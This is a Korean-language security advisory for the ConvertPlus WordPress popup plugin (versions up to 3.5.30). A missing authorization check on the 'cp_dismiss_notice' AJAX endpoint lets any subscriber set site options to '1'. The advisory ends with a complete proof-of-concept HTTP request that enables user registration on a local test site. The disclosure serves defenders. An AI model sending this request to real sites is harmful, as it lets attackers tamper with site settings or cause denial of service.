
워드프레스용 팝업 플러그인 - ConvertPlus <= 3.5.30 - 인증된 (Subscriber+) 사용자에 대한 권한 부여 누락으로 인한 제한된 옵션 업데이트
Popup Plugin For WordPress - ConvertPlus <= 3.5.30 - 인증된 사용자(구독자 이상)의 제한된 옵션 업데이트에 대한 권한 누락
ConvertPlus WordPress 플러그인은 최대 버전 3.5.30까지의 모든 버전에서 'cp_dismiss_notice' AJAX 엔드포인트에 대한 기능 권한 검사가 누락되어 데이터 무단 수정이 가능하며, 이로 인해 서비스 거부(DoS)로 이어질 수 있습니다. 이를 통해 구독자(Subscriber) 이상의 접근 권한을 가진 인증된 공격자가 WordPress 사이트의 옵션 값을 '1'로 업데이트할 수 있습니다. 이는 사이트에 오류를 발생시켜 정상 사용자의 서비스를 거부하거나, 등록 활성화와 같은 일부 값을 true로 설정하는 데 악용될 수 있습니다.
참고 사항
데이터베이스에 1만 저장되므로 users_can_register에 1만 설정할 수 있습니다.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011
action=cp_dismiss_notice¬ice=users_can_register